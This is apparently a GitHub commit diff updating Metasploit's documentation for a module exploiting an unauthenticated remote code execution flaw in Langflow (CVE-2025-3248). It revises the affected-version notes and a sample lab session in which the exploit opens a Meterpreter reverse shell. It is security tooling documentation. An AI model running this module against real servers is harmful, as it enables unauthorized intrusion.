Skip to content

Commit c7fdcc8

Browse files
committed
Update the document
1 parent 1f6d5f3 commit c7fdcc8

File tree

1 file changed

+4
-4
lines changed

1 file changed

+4
-4
lines changed

documentation/modules/exploit/multi/http/langflow_unauth_rce_cve_2025_3248.md

Lines changed: 4 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -5,7 +5,7 @@ A remote and unauthenticated attacker can send crafted HTTP requests to execute
55

66
The vulnerability affects:
77

8-
* Langflow < 1.3.0
8+
* Langflow < 1.3.0 even if authentication is enabled
99
* Langflow <= 1.3.2 (latest at the time of this writing) if authentication isn't enabled.
1010

1111
This module was successfully tested on:
@@ -71,14 +71,14 @@ View the full module info with the info, or info -d command.
7171
msf6 exploit(multi/http/langflow_unauth_rce_cve_2025_3248) > run lhost=192.168.56.1 rhost=192.168.56.16
7272
[*] Started reverse TCP handler on 192.168.56.1:4444
7373
[*] Running automatic check ("set AutoCheck false" to disable)
74-
[!] The service is running, but could not be validated. Version 1.3.2 detected.
74+
[+] The target appears to be vulnerable. Version 1.3.2 detected and authentication is disabled. Which is vulnerable.
7575
[*] Sending stage (24772 bytes) to 192.168.56.16
76-
[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.16:44358) at 2025-04-11 14:42:43 +0900
76+
[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.16:57118) at 2025-04-12 10:00:32 +0900
7777
7878
meterpreter > getuid
7979
Server username: user
8080
meterpreter > sysinfo
81-
Computer : 36ad04bd6644
81+
Computer : 06d3984f101d
8282
OS : Linux 6.8.0-56-generic #58-Ubuntu SMP PREEMPT_DYNAMIC Fri Feb 14 15:33:28 UTC 2025
8383
Architecture : x64
8484
System Language : C

0 commit comments

Comments
 (0)